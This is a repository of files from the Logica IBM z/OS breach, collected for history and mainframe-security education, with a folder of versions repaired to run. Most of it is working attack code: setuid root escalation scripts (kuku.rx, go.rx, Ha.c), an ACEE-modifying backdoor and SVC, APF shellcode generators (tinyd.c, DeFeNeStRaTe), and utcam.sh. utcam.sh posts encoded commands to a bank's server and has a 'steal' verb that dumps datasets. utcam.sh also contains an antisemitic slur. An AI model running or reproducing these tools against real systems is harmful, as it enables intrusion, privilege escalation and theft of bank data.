├── nop.jcl ├── Ha.c ├── aptitup.jcl ├── kuku.rx ├── go.rx ├── fixed ├── kuku.rx ├── tst.c ├── README.md ├── tinyd.c └── DeFeNeStRaTe.C ├── Enum.c ├── vc242 ├── README.md ├── Tfy.source.backdoor ├── utcam.sh ├── DeFeNeStRaTe.C └── tsocmd.rx /nop.jcl: -------------------------------------------------------------------------------- 1 | //APT2011A JOB (S101), 'APT2011',CLASS=S, 2 | // REMOTR=KNARK,DEST=KNARK,DELDEST,KNARK, 3 | // MSGCLASS=H,PRTY=15,MSGLEVEL=(1,1) 4 | //* From fup.pdf 5 | //STEP EXEC PGM=IEFBR14 6 | //SYSERROR DD SYSOUT= 7 | //SYSABENT DD SYSOUT=* 8 | //SYSTSPRT DD SYSOUT=* 9 | //SYSTSOUT DD SYSOUT=* 10 | //SYSTSIN DD * 11 | /* 12 | -------------------------------------------------------------------------------- /Ha.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | int main(int argc, char *argv[]) { 6 | if (argc<3)exit(1 ); 7 | setgid(atoi(argv[2])); 8 | setuid(atoi(argv[1])); 9 | setgid(atoi(argv[2])); 10 | execl("/bin/sh","sh",NULL); 11 | return O; 12 | } 13 | -------------------------------------------------------------------------------- /aptitup.jcl: -------------------------------------------------------------------------------- 1 | //AVIY356A JOB AVIY356A 2 | //* APTITUP.JCL 3 | //* From BILAGA_A.pdf 4 | //AIUSTEP EXEC PGM=BPXBATCH, 5 | // PARM='SH /tmp/a.env' 6 | //STDERR DD PATH='/tmp/a.err', 7 | // PATHOPTS= (OWRONLY, OCREAT, OTRUNC) , 8 | // PATHMODE= (SIRWXU) 9 | //STDOUT DD PATH='/tmp/a.out', 10 | // PATHOPTS= ( OWRONLY , OCREAT , OTRUNC ) , 11 | // PATHMODE= (SIRWXU) 12 | //STDIN DD DUMMY 13 | -------------------------------------------------------------------------------- /kuku.rx: -------------------------------------------------------------------------------- 1 | /* REXX */ 2 | /* from fup.pdf 3 | this file was incomplete, these are the only snippets that exist */ 4 | call syscall 'ON' 5 | if __argv.2=='kuku' then do 6 | address syscall 'setuid 0' 7 | 8 | say 'l3tz g3t s0m3 0f d4t r00t!@#' 9 | 10 | parm.0=2 11 | parm.1=__argv.1 12 | parm.2='kuku' 13 | env.0=1 14 | env.1='_BPC_SHAREAS=NO' 15 | 16 | address syscall 'spawn /usr/lpp/netview/v5r1/bin/cnmeunix 0 . parm. env.' 17 | address syscall 'wait wret.' 18 | -------------------------------------------------------------------------------- /go.rx: -------------------------------------------------------------------------------- 1 | /* REXX */ 2 | ca11 syscalls 'ON' 3 | adress syscall 'geteuid' 4 | coreuid=retval 5 | adress syscall 'getegid' 6 | curegid=retval 7 | say 'euid:' coreuid 'egid:' curegid 8 | address syscall 'setuid ' cureuid 9 | address syscall 'setgid ' curegid 10 | adress syscall 'getuid' 11 | say 'euid:' retval 12 | address syscall 'getgid' 13 | say 'gid:' retval 14 | env.0=1 15 | env.1='PATH=/bin:/sbin/usr/sbin:/usr/bin' 16 | call bpxwunix '/bin/sh',,,,env. 17 | 18 | 19 | -------------------------------------------------------------------------------- /fixed/kuku.rx: -------------------------------------------------------------------------------- 1 | /* REXX */ 2 | /* from fup.pdf */ 3 | /* Original file from Logica breach fixed by SoF */ 4 | 5 | call syscalls 'ON' 6 | address syscall 7 | if __argv.2=='kuku' then do 8 | say '[>] 0bt41n3d r00t!$#' 9 | address syscall 'setuid 0' 10 | address sh 'id' 11 | /* address sh '/bin/sh' */ 12 | exit 13 | end 14 | say '[+] current UID/GID' 15 | address sh 'id' 16 | say '[+] l3tz g3t s0m3 0f d4t r00t!@#' 17 | parm.0=2 18 | parm.1=__argv.1 19 | parm.2='kuku' 20 | env.0=1 21 | env.1='_BPC_SHAREAS=NO' 22 | say '[+] spawning' 23 | /* Check the version folder here for your OS */ 24 | 'spawn /usr/lpp/netview/v5r1/bin/cnmeunix 0 . parm. env.' 25 | address syscall 'wait wret.' 26 | -------------------------------------------------------------------------------- /Enum.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char *argv[]) { 8 | unsigned int a,b; 9 | if (argc <2) exit(1); 10 | a = atoi(argv[1]); 11 | b=(argc>2)?atoi(argv[2]) : (~0); 12 | printf("%u...%u\n", a,b); 13 | while (a <= b) { 14 | struct passwd *pw = getpwuid((uid_t)a); 15 | // https://www.ibm.com/support/knowledgecenter/SSLTBW_1.13.0/com.ibm.zos.r13.bpxbd00/rtgtpu.htm 16 | if (pw!=NULL) { 17 | printf("%u %u:%u %s %s %s\n", a, (unsigned int)pw->pw_uid, (unsigned int)pw->pw_gid, pw->pw_name, pw->pw_dir, pw->pw_shell); 18 | } 19 | a++; 20 | } 21 | return 0; 22 | } -------------------------------------------------------------------------------- /vc242: -------------------------------------------------------------------------------- 1 | * From bilaga_a.pdf 2 | IGC0024B TITLE 'ZWEI VIER ZWEI' 00000020 3 | IGC00242 CSECT 00000100 4 | LR 12,6 00000200 5 | USING IGC00242,12 00000300 6 | L 2,X'6C'(7) 00000310 7 | L 2,180(4) 00000400 8 | BCT 0,AUTHOFF 00000500 9 | AUTHON EQU * 00000600 10 | OI 236(2),X'01' 00000700 11 | B RETURN 00000800 12 | AUTHOFF EQU * 00000900 13 | NI 236(2),X'FE' 00001000 14 | RETURN EQU * 00001100 15 | BR 14 00001200 16 | END IGC00242 00001300 17 | -------------------------------------------------------------------------------- /fixed/tst.c: -------------------------------------------------------------------------------- 1 | /* Test program to test DeFeNeStRaTe.C 2 | 3 | This program is used to demonstrate DeFeNeStRaTe.C and tinyd.c. 4 | To use this program you must: 5 | --> Give your user account the ability to make APF authorized omvs programs using RACF commands in TSO 6 | - RDEFINE FACILITY BPX.FILEATTR.APF UACC(NONE) 7 | - PERMIT BPX.FILEATTR.APF CLASS(FACILITY) ID() ACCESS(READ) 8 | - SETROPTS RACLIST(FACILITY) REFRESH 9 | 10 | Once you've done all that you can compile and set tst APF authorized with: 11 | xlc -Wc,debug -Wl,AC=1 -o tst tst.c; extattr +a ./tst 12 | 13 | Created by Soldier of FORTRAN based on 'hello_world' by BigEndianSmalls: 14 | https://github.com/zedsec390/defcon23/blob/master/Exploits%20and%20Shellcode/demo_code/hello_world/hi-sc-poc.c 15 | 16 | */ 17 | 18 | #include 19 | #include 20 | 21 | extern char **environ; 22 | 23 | int main(int argc, chat *argv[]) { 24 | char dest[240]; 25 | int i, j; 26 | i = 10; 27 | j = 1; 28 | printf("" 29 | " _____ ___ _____ \n" 30 | " |_ _/ __|_ _|\n" 31 | " | | \\__ \\ | | \n" 32 | " |_| |___/ |_| \n" 33 | "\n"); 34 | 35 | /* Uncomment this code to see what is stored in your 36 | environment variable */ 37 | /* 38 | while(i < 236) { 39 | printf("%.2X",environ[0][i]); 40 | if(j % 4 == 0) printf(" || %.8x\n",environ[0]+i); 41 | i++; 42 | j++; 43 | } 44 | */ 45 | 46 | if(memcmp(environ[0], "PAYLOAD=", 8) != 0) { 47 | printf("[!] PAYLOAD= not in environ[0]\n"); 48 | printf("[!] This program must be called by DeFeNeStRaTe.c\n\n"); 49 | return(-1); 50 | } 51 | 52 | printf("\n[+] Copying Memory\n"); 53 | memcpy(dest,environ[0] + 10 , 236); 54 | 55 | printf("[+] Executing shellcode\n"); 56 | 57 | int (*ret)(); 58 | ret = (int(*)())dest; 59 | (int)(*ret)(); 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Logica Investigation 2 | 3 | **Description**: In this repository is a collection of files outlined/documented in the various files included within the alleged Logica breach. Most of the files are complete (typos notwithstanding) and incomplete files contain whatever was documented in the investigation paperwork. 4 | 5 | ## WHY? 6 | 7 | I decided to document these files here due to the historical nature of the breach. It is the first publicly documented IBM z/OS breach in which the some of the code is actually available. It also serves as educational resources to those wanting to get interested in testing/auditing mainframes and mainframe security. 8 | 9 | ## The Files 10 | 11 | **aptitup.jcl**: A JCL file which executes the file `/tmp/a.env` file in **OMVS** (aka UNIX) using `BPXBATCH`. 12 | 13 | **Enum.c**: A C program to enumerate users using `getpwuid`. 14 | 15 | **go.rx**: A REXX script used to escalate privileges to the UID/GID supplied to the script. It is assumed this program is running with an appropriate setuid. 16 | 17 | **Ha.C**: A C program that takes two arguments UID/GID and executes `/bin/sh` as the supplied arguments. 18 | 19 | **kuku.rx**: A REXX script which exploits a previously unknown 0-Day vulnerability in CNMEUNIX (a program in OMVS with setuid). The script uses CNMEUNIX to locally escalate privileges to superuser (aka root) access in OMVS. **This code is only a snippet as that is all that is available**. 20 | 21 | **nop.jcl**: A JCL file which "does nothing" ;) 22 | 23 | **Tfy.source.backdoor**: A ASM program which changes ACEE settings. 24 | 25 | **tsocmd.rx**: A REXX script which executes TSO commands. This is different from the /bin/tso command as it can execute authorized programs. This script is freely available from IBM but was found during the investigation. 26 | 27 | **utcam.sh**: BASH script which when run send commands to a remote listening web server. 28 | 29 | **vc242**: Turns on and off the JSCBAUTH bit depending on the contents of Register 0. (thanks @BarrySchrager1) 30 | 31 | **DeFeNeStRaTe.C**: z/OS OMVS local exploit for APF authorized load module IOELMD10 32 | -------------------------------------------------------------------------------- /Tfy.source.backdoor: -------------------------------------------------------------------------------- 1 | * From bilaga_a.pdf 2 | R0 EQU 0 3 | R1 EQU 1 4 | R2 EQU 2 5 | R3 EQU 3 6 | R4 EQU 4 7 | R5 EQU 5 8 | R6 EQU 6 9 | R7 EQU 7 10 | R8 EQU 8 11 | R9 EQU 9 12 | R10 EQU 10 13 | R11 EQU 11 14 | R12 EQU 12 15 | R13 EQU 13 16 | R14 EQU 14 17 | R15 EQU 15 18 | * 19 | ASCBPVT EQU X'224' 20 | ASCBASXB EQU X'6C' 21 | ASXBACEE EQU X'C8' 22 | * MACRO IMPORTS 23 | IHAACEE 24 | * 25 | TFY CSECT 26 | SAVE (R14,R12),,TRAGEDY,TYRANNY 27 | LR R12,R15 28 | USING TFY,R12 29 | LA R6,SAVEAREA 30 | ST R6,8(R13) 31 | ST R13,SAVEAREA+4 32 | LR R13,R6 33 | WTO 'SERVICE 242 :: ART AND STRATEGY' 34 | LA R0,1 35 | SVC 242 36 | WTO 'MASTER, IM SO GLAD TO FEEL YOUR PRESENCE...' 37 | MODESET KEY=ZERO,MODE=SUP 38 | WTO 'BUT YOU DONT SEEM TO SHARE MY AMBITIONS' 39 | L R5,ASCBPVT 40 | L R5,ASCBASXB(R5) 41 | L R5,ASXBACEE(R5) 42 | USING ACEE,R5 43 | WTO 'I RELY UPON YOU TO BREAK THE SILENACEE' 44 | MVC IDWOUSRI,ACEEUSRI 45 | MVC IDWOGRPN,ACEEGRPN 46 | WTO MF=(E,IDWOBLK) 47 | OI ACEEFLG1,ACEESPEC+ACEEOPER+ACEEAUDT+ACEERACF 48 | OI ACEEFLG2,ACEEALTR+ACEECNTL+ACEEUPDT+ACEEREAD 49 | OI ACEEFLG3,ACEEACLT+ACEENPWR 50 | OI ACEEFLG4,ACEEUATH+ACEEDASD+ACEETAPE+ACEETERM 51 | MVC ACEEPROC,LIBRPROC 52 | LA R0,8 53 | STC R0,ACEEUSRL 54 | LA R0,4 55 | STC R0,ACEEGRPL 56 | MVC ACEEUSRI,LIBRUSRI 57 | MVC ACEEGRPN,LIBRGRPN 58 | L R13,SAVEAREA+4 59 | LR R15,R2 60 | RETURN (R14,R12),RC=(R15) 61 | SAVEAREA DS 18F 62 | * 63 | LIBRPROC DC C'BPXPINPR' 64 | LIBRUSRI DC C'BPXOINIT' 65 | LIBRGRPN DC C'SYS1' 66 | * 67 | IDWOBLK EQU * 68 | IDWO_LEN DC AL2(IDWO_END-IDWO_LEN) 69 | DC H'0' 70 | IDWOMSG DC C'JA,DU BIST KOMRADE ' 71 | IDWOUSRI DS CL8 72 | DC C' IM CELL ' 73 | IDWOGRPN DS CL8 74 | DC C' AUF DIE ROTE ARME COMMUNIST FRACTION!' 75 | IDWO_END EQU * 76 | END TFY 77 | -------------------------------------------------------------------------------- /fixed/README.md: -------------------------------------------------------------------------------- 1 | # Fixed Logica Programs 2 | This folder contains programs from the Logica breach but fixed up to 3 | make them work. Often the code in the Logica writeups were crippled 4 | and/or incomplete. This folder attempts to fix these broken scripts so 5 | they work. The purpose of this is for learning and historical reasons. 6 | 7 | ## DeFeNeStRaTe.C 8 | 9 | This program was barely changed from it original. XLC complained about 10 | the line below. Replaced with a standard if/else statement instead. 11 | ``` 12 | /* Changed by SOF 13 | PathName = (memcmp(environ[0], "PAYLOAD=", 8) == 0)? strdup(VICTIM) : argv[0]; 14 | */ 15 | if(memcmp(environ[0], "PAYLOAD=", 8) == 0) { 16 | PathName = strdup(VICTIM); 17 | } else { 18 | PathName = argv[0]; 19 | } 20 | ``` 21 | 22 | ## tinyd.c 23 | 24 | This program is basically a re-write of `DeFeNeStRaTe.C` to make it more 25 | legible and easier to follow. it eliminates some of the fluff and some 26 | of the extraneous code not being used. 27 | 28 | ## tst.c 29 | 30 | This is a simple C program used to test tinyd/DeFeNeStRaTe. 31 | 32 | To use this program to test tinyd/DeFeNeStRaTe you must do steps 1 33 | through 4 below (If your 'shellcode' doesn't need APF authorization you 34 | can skip the steps below and just compile it): 35 | 1. Create an HFS/ZFS dataset 36 | * use ishell option `File_systems` to create the HFS/ZFS option 37 | 2. Add that dataset to APF libraries 38 | * in sdsf `/setprog apf,add,dsname=,volume=` 39 | 3. Mount that dataset using TSO MOUNT command 40 | * `MOUNT filesystem('') MOUNTPOINT('/APF') TYPE()` 41 | 4. Give your user account the ability to make APF authorized omvs programs using RACF commands in TSO 42 | * `RDEFINE FACILITY BPX.FILEATTR.APF UACC(NONE)` 43 | * `PERMIT BPX.FILEATTR.APF CLASS(FACILITY) ID() ACCESS(READ)` 44 | * `SETROPTS RACLIST(FACILITY) REFRESH` 45 | 46 | Once youve done all that you can compile and set tst APF authorized with: 47 | `xlc -Wc,debug -Wl,AC=1 -o tst tst.c; extattr +a ./tst` 48 | 49 | ## kuku.rx 50 | 51 | This is the fixed up version of kuku.rx. Take any compiled REXX exec 52 | with the setuid bit set and kuku.rx will execute commands as that user. 53 | 54 | Change the line: 55 | ```spawn /usr/lpp/netview/v5r1/bin/cnmeunix 0 . parm. env.``` 56 | and replace `/usr/lpp/netview/v5r1/bin/cnmeunix` with any compile REXX 57 | exec and it will run any commands you place after `address sh 'id'` 58 | 59 | -------------------------------------------------------------------------------- /utcam.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #from Logica Breach Investigation 3 | #File: fup_tillaggsprotokoll_20130418.pdf 4 | #Notes: Appears to assemble a file {rexx stuff} 5 | 6 | 7 | 8 | #h="IP-adress annan stordator" 9 | h="IP-address Nordea" 10 | 11 | 12 | ua="Mozilla/5.0 (Windows NT 5.1; x86) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.168 Safari/535.19" 13 | dh="UT" 14 | 15 | while :; do 16 | 17 | echo -n " $dh 8===D " 18 | read cmdline 19 | echo " << $cmdline" 20 | if [ -z "$cmdline" ]; then 21 | echo "... FIN" 22 | exit 0 23 | fi 24 | 25 | verb=`echo "$cmdline"|cut -d' ' -f1` 26 | arg=`echo "$cmdline"|cut -d' ' -f2-` 27 | cmd="" 28 | pro="" 29 | post="" 30 | tgt="" 31 | 32 | if [ "$verb" = "rx" ]; then 33 | echo ":pPPpP REXX ROXX" >&2 34 | pro=" echo '/* REXX */' > /tmp/rx; echo '' >> /tmp/rx;chmod 755 /tmp/rx;"; 35 | post=" rm -f /tmp/rx "; 36 | tgt="" 37 | cmd="$arg" 38 | fi 39 | 40 | if [ "$verb" = "rxout" ]; then 41 | echo ":pPPpP REXX REXX OUT" >&2 42 | fi 43 | 44 | if [ "$verb" = "rxin" ]; then 45 | echo ":pPPP REXXOPHiLE" >&2 46 | echo " [ $arg ] " 47 | inputile=`echo "$arg"|cut -d' ' -f1` 48 | rest=`echo "$arg"|cut -d' ' -f2-` 49 | cmd=`(echo -n "PARMS='${rest}';"; cat $inputfile)` 50 | pro="echo '/* REXX */' > /tmp/rx; echo 'l=\"\"; say \"ok\";exit 0; ' >> /tmp/rx; chmod 755 /tmp/rx; cat /tmp/rx;"; 51 | tgt ="" 52 | fi 53 | 54 | if [ "$verb" = "rxinout" ]; then 55 | echo ":pPPP REXXOPHiLE" >&2 56 | echo " [ $arg ] " 57 | inputfile=`echo "$arg"|cut -d' ' -f1` 58 | rest=`echo "$arg"|cut -d' ' -f2-` 59 | cmd=`(echo -n "PARMS='${rest}';"; cat $inputfile)` 60 | pro=""; 61 | tgt="" 62 | fi 63 | 64 | if [ "$verb" = "sh" ]; then 65 | echo ":pPppPP SHELL SHOCK" >&2 66 | tgt="/bin/sh" 67 | cmd="$arg" 68 | fi 69 | 70 | if [ "$verb" = "shin" ]; then 71 | echo ":PppPPP PHILE SHOCK" >&2 72 | echo " [ $arg ] " 73 | inputfile=`echo "$arg"|cut -d' ' -f1` 74 | cmd=$(cat $inputfile|sed 's/\x0d//g') 75 | fi 76 | 77 | if [ "$verb" = "steal" ]; then 78 | echo ":PpppPP SHYLOCK THE JEWISH THIEF STEALiNG TO g1" >&2 79 | cmd="rm -fr /tmp/sl/$arg/; cat \"//'$arg'\" | compress -c > /tmp/sl/$arg.raw.z;" 80 | #[SoF] I think the above line had a bug I added the double quotes at the end of the line 81 | tgt="" 82 | echo " [ $cmd ] " 83 | fi 84 | 85 | if [ "$verb" = "vol" ]; then 86 | echo ":PppPPp VOLUMNE GOES TO 11" >&2 87 | pro="echo '/*REXX */' > /tmp/rx; echo 'address syscall \" read 0 s 4096\"';" 88 | tgt=" " 89 | cmd="${cmd}address tso \"allocate ddname(sysprint) sysout\"; address tso \"allocate ddname(sysin) dummy\"; " 90 | for vol in $arg ; do 91 | cmd="${cmd}address tso \"allocate dsname('FORMAT4.DSCB') DDNAME(SYSLIB) SHR UNIT(3390) VOLUMNE(${vol}) KEYLEN\(44) DSORG(DA) EROPT(ACC)\";" 92 | cmd="${cmd}address tso \"TSOEXEC CALL *(AMASPZAP)\"; address tso \"REPRO INFILE(SYSLIB) OUTFILE(outdd)\";" 93 | done 94 | echo "[ $cmd ]" 95 | fi 96 | 97 | if [ "$verb" = "tso" ]; then 98 | echo ":PppPP TSLOw SHOCK" >&2 99 | cmd=`echo "$arg"|sed 's/;/\n/g'` 100 | fi 101 | 102 | echo '>> go go go ' 103 | 104 | enccmd=`echo -n "$cmd"|iconv -c -f us-ascii -t ibm-1047|xxd -ps|while read l; do echo -n "$l"; done ` 105 | 106 | body="l=$( echo -n \"{$enccmd}\"|sed 's/\([0-9a-f][0-9a-f]\)/\\\\x\1/g'|sed 's/\\\\x25/\\\\x15/g' ); printf \$l|HOME=/tmp exec $tgt" 107 | 108 | pro="exec 2>&1; unset HISTORY; unset HISTFILE; echo 'status: 404 multifail'; echo 'content-type: text/plain'; echo'';${pro}" 109 | 110 | post="; ${post}; exit 1;" 111 | 112 | curl --data "$pro $body $post" -v -A "$ua" --url http://${h}/ 113 | 114 | done 115 | 116 | -------------------------------------------------------------------------------- /fixed/tinyd.c: -------------------------------------------------------------------------------- 1 | /* 2 | "it's pathetic" 3 | - Bill Pullman - True Lies 4 | Generates zArch shell code stored in the environment variable. 5 | Shellcode starts 10 bytes in in environment variable. 6 | This program first executes itself then its victim. 7 | Based on: 8 | https://github.com/mainframed/logica/blob/master/DeFeNeStRaTe.C 9 | Compile with: 10 | xlc -o tinyd tinyd.c 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | /* VICTIM points to the compiled version of tst. */ 20 | #define VICTIM "/APF/tst" 21 | 22 | /* For BPX1EXC Storage */ 23 | #define NUM_ENVS 1 24 | #define ENV_LEN 0x1000 25 | #define ENV_SIZE 0x2000 26 | 27 | /* Assembler */ 28 | #define R0 0 29 | #define R1 1 30 | #define R2 2 31 | #define R3 3 32 | #define R4 4 33 | #define R5 5 34 | #define R6 6 35 | #define R7 7 36 | #define R8 8 37 | #define R9 9 38 | #define R10 10 39 | #define R11 11 40 | #define R12 12 41 | #define R13 13 42 | #define R14 14 43 | #define R15 15 44 | 45 | #define INS_RR(C,X,Y) (C), ( ((X)&0xf) <<4 ) | ( (Y)&0xf ) 46 | #define INS_RX(C,X,Y,Z) (C),(((X)&0xf)<<4),((((Y)&0xf)<<4)|(((Z)>>8)&0xf)), ((Z)&0xff) 47 | #define SubReg(X,Y) INS_RR( 0x1b, (X), (Y) ) 48 | #define BranchAndSaveReg(X,Y) INS_RR(0x0D, (X), (Y) ) 49 | #define StoreChar(X,Y,Z) INS_RX(0x42,(X),(Y),(Z)) 50 | #define Load(X,Y,Z) INS_RX(0x58,(X),(Y),(Z)) 51 | #define LoadHalfwordImm(X,Y) 0xa7,( (( (X)&0xf )<<4)|8),(((Y)>>8)&0xff),((Y)&0xff) 52 | #define SVC(X) 0x0a,((X)&0xff) 53 | 54 | /* Used by ResolveImports */ 55 | #define STARTWALK(PTR) do { (PTR) = (unsigned char *)0; } while (0) 56 | #define WALK(PTR,OFF) do { memcpy( &(PTR), &(PTR)[(OFF)], sizeof(PTR) ); } while (0) 57 | #define SETPTR(DST,SRC,OFF) do { memcpy( &(DST), &(SRC)[(OFF)], sizeof(DST) ); } while (0) 58 | 59 | 60 | /* Create a variable with the assembler 'shell code' */ 61 | unsigned char shellcode_full[] = 62 | { 63 | SubReg(R1,R1), 64 | LoadHalfwordImm(R1,0x3c), 65 | SVC(0x6b), /* MODESET MODE=SUP,KEY=ZERO */ 66 | Load(R15,0,0x0224), /* ASCBPVT */ 67 | Load(R15,R15,0x6c), /* ASCBASXB */ 68 | Load(R15,R15,0xc8), /* ASXBACEE */ 69 | LoadHalfwordImm(R1,0x0303), 70 | StoreChar(R1,R15,38), /* X'03' => ACEEFLG1 */ 71 | SubReg(R1,R1), 72 | LoadHalfwordImm(R1,0x24), 73 | SVC(0x6b), /* MODESET MODE=PROB,KEY=NZERO */ 74 | Load(R15,0,0x10), /* CVT */ 75 | Load(R15,R15,544), /* CVTCSRT */ 76 | Load(R15,R15,24), /* CSR slot */ 77 | Load(R15,R15,228), /* BPX1EXC */ 78 | SubReg(R14,R14), /* 0 => R14; ret addr of BPX1EXC */ 79 | BranchAndSaveReg(R1,R15), /* params => R1; invoke BPX1EXC */ 80 | 81 | }; 82 | 83 | typedef void BPXSVC(); 84 | #pragma linkage(BPXSVC,OS) 85 | /* 228 */ 86 | void (*BPX1EXC)( unsigned int *Pathname_length, 87 | unsigned char *Pathname, 88 | unsigned int *Argument_count, 89 | unsigned int *Argument_length_list, 90 | unsigned char **Argument_list, 91 | unsigned int *Environment_count, 92 | unsigned int *Environment_data_length, 93 | unsigned char **Environment_data_list, 94 | void (*Exit_routine_address)(), 95 | void *Exit_parameter_list_address, 96 | unsigned int *Return_value, 97 | unsigned int *Return_code, 98 | unsigned int *Reason_code); 99 | 100 | 101 | struct _shellcode_BPX1EXC_Params 102 | { 103 | void *pPathLen; 104 | void *pPathName; 105 | void *pArgCount; 106 | void *pArgLenList; 107 | void *pArgDataList; 108 | void *pEnvCount; 109 | void *pEnvLenList; 110 | void *pEnvDataList; 111 | void *pExitAddr; 112 | void *pExitParamListAddr; 113 | void *pRetVal; 114 | void *pRetCode; 115 | void *pRsnCode; 116 | 117 | unsigned int PathLen; 118 | unsigned char PathName[64]; 119 | unsigned int ArgCount; 120 | unsigned int *ArgLenList[2]; 121 | unsigned char *ArgDataList[2]; 122 | unsigned int EnvCount; 123 | unsigned int *EnvLenList[2]; 124 | unsigned char *EnvDataList[2]; 125 | void *ExitAddr; 126 | void *ExitParamListAddr; 127 | unsigned int RetVal; 128 | unsigned int RetCode; 129 | unsigned int RsnCode; 130 | 131 | }; 132 | 133 | /* Variables used in main() */ 134 | unsigned char *ArgDataList[1]; 135 | unsigned int ArgCount, *ArgLenList[1]; 136 | unsigned char *EnvDataList[1]; 137 | unsigned int *EnvLenList[1]; 138 | unsigned int EnvCount; 139 | unsigned char *PathName; 140 | unsigned int PathLen; 141 | void (*ExitAddr)(); 142 | void *ExitParamList[] = { NULL }; 143 | void *ExitParamListAddr; 144 | unsigned int RetVal; 145 | unsigned int RetCode; 146 | unsigned int RsnCode; 147 | unsigned int PayloadAddr, PayloadParamsAddr; 148 | void *pPayloadParams; 149 | unsigned int PayloadParamsLen; 150 | 151 | /* Gets the environment variables */ 152 | extern char **environ; 153 | 154 | /* Functions */ 155 | void *Build_shellcode_BPX1EXC_Params(unsigned int BaseAddr, unsigned int *pOutLen, int first) 156 | { 157 | /* builds the 'shellcode' for BPX1EXC */ 158 | struct _shellcode_BPX1EXC_Params *pParams; 159 | struct _shellcode_BPX1EXC_Params *pBase; 160 | 161 | pParams = malloc(sizeof(*pParams)); 162 | memset(pParams, 0xc1, sizeof(*pParams)); 163 | 164 | /* On the first pass through these pointers won't mean anything so we can skip them */ 165 | /* BaseAddr is *environ[0] + 10 (skipping PAYLOAD=23) */ 166 | 167 | if (first == 0) { 168 | pBase = (struct _shellcode_BPX1EXC_Args *)BaseAddr; 169 | 170 | pParams->pPathLen = &pBase->PathLen; 171 | pParams->pPathName = &pBase->PathName; 172 | 173 | pParams->pArgCount = &pBase->ArgCount; 174 | pParams->pArgLenList = &pBase->ArgLenList; 175 | pParams->pArgDataList = &pBase->ArgDataList; 176 | 177 | pParams->pEnvCount = &pBase->EnvCount; 178 | pParams->pEnvLenList = &pBase->EnvLenList; 179 | pParams->pEnvDataList = &pBase->EnvDataList; 180 | 181 | pParams->pExitAddr = &pBase->ExitAddr; 182 | pParams->pExitParamListAddr = &pBase->ExitParamListAddr; 183 | 184 | pParams->pRetVal = &pBase->RetVal; 185 | pParams->pRetCode = &pBase->RetCode; 186 | pParams->pRsnCode = &pBase->RsnCode; 187 | 188 | } 189 | 190 | /* Here we setup the variables we'll use on our second passthrough */ 191 | memset(pParams->PathName, 0, sizeof(pParams->PathName)); 192 | memcpy(pParams->PathName, "/bin/sh", 7); 193 | pParams->PathLen = 7; 194 | 195 | pParams->ArgCount = 1; 196 | pParams->ArgLenList[0] = &pBase->PathLen; 197 | pParams->ArgLenList[1] = NULL; 198 | pParams->ArgDataList[0] = &pBase->PathName; 199 | pParams->ArgDataList[1] = NULL; 200 | pParams->EnvCount = 0; 201 | pParams->EnvLenList[0] = pParams->EnvLenList[1] = NULL; 202 | pParams->EnvDataList[0] = pParams->EnvLenList[1] = NULL; 203 | pParams->ExitAddr = pParams->ExitParamListAddr = NULL; 204 | 205 | pParams->RetVal = pParams->RetCode = pParams->RsnCode = 0xdeadbabe; 206 | 207 | if (pOutLen != NULL) *pOutLen = sizeof(*pParams); 208 | 209 | return pParams; 210 | } 211 | 212 | void ResolveImports(void) 213 | { 214 | /* This function resolves the location of the USS callable table */ 215 | /* and points BPX1EXC to it */ 216 | 217 | unsigned char *cp; 218 | 219 | STARTWALK(cp); 220 | WALK(cp, 16); /* CVT */ 221 | WALK(cp, 544); /* CSRTABLE */ 222 | WALK(cp, 24); /* CSR slot */ 223 | SETPTR(BPX1EXC, cp, 228); 224 | } 225 | 226 | /* Now we can start it up */ 227 | int main(int argc, char *argv[]) 228 | { 229 | unsigned int i, first; 230 | 231 | i = 0; 232 | ArgDataList[0] = malloc(1+1); 233 | ArgLenList[0] = malloc(sizeof(unsigned int)); 234 | *ArgLenList[0] = 1; 235 | *(unsigned int *)(ArgDataList[0] + i) = 0xFEEDBEEF; 236 | 237 | EnvDataList[0] = malloc(8+4+2+ENV_SIZE+1); 238 | memset(EnvDataList[0], 0xf00fc7c8, (8+4+2+ENV_SIZE+1)); 239 | EnvLenList[0] = malloc(sizeof(unsigned int)); 240 | *EnvLenList[0] = ENV_LEN; 241 | 242 | if(memcmp(environ[0], "PAYLOAD=", 8) == 0) { 243 | first = 0; 244 | printf("[>] Second Run\n"); 245 | PathName = strdup(VICTIM); 246 | /* On the second run, the environment variable already has the code it in */ 247 | i += 10 + sizeof(shellcode_full); 248 | memcpy(EnvDataList[0],environ[0], i); 249 | PayloadParamsAddr = (unsigned int)environ[0] + i; 250 | pPayloadParams = Build_shellcode_BPX1EXC_Params(PayloadParamsAddr, &PayloadParamsLen, first); 251 | memcpy(EnvDataList[0] + i, pPayloadParams, PayloadParamsLen); 252 | i += PayloadParamsLen; 253 | 254 | } else { 255 | 256 | printf("[>] First Run\n"); 257 | PathName = argv[0]; 258 | i = 0; 259 | first = 1; 260 | memcpy(EnvDataList[0], "PAYLOAD=", 8); 261 | i += 8; 262 | EnvDataList[0][i ++] = '2'; 263 | EnvDataList[0][i ++] = '3'; 264 | 265 | memcpy(EnvDataList[0] + i, shellcode_full, sizeof(shellcode_full)); 266 | i += sizeof(shellcode_full); 267 | /* size is now 'PAYLOAD=23' + sizeof(shellcode_full) */ 268 | 269 | PayloadParamsAddr = (unsigned int)environ[0] + i; 270 | pPayloadParams = Build_shellcode_BPX1EXC_Params(PayloadParamsAddr, &PayloadParamsLen, first); 271 | memcpy(EnvDataList[0] + i, pPayloadParams, PayloadParamsLen); 272 | i += PayloadParamsLen; 273 | 274 | i = ENV_LEN - 4; 275 | while (i < ENV_LEN) EnvDataList[0][i ++] = "pP"[i&1]; 276 | 277 | } 278 | 279 | ArgCount = EnvCount = 1; 280 | PathLen = strlen(PathName); 281 | ExitAddr = NULL; 282 | ExitParamListAddr = ExitParamList; 283 | RetVal = RetCode = RsnCode = 0xdeadbeef; 284 | 285 | ResolveImports(); 286 | printf("execing %s\n", PathName); 287 | 288 | ((BPXSVC *)BPX1EXC)( 289 | &PathLen, &PathName[0], 290 | &ArgCount, ArgLenList, ArgDataList, 291 | &EnvCount, EnvLenList, EnvDataList, 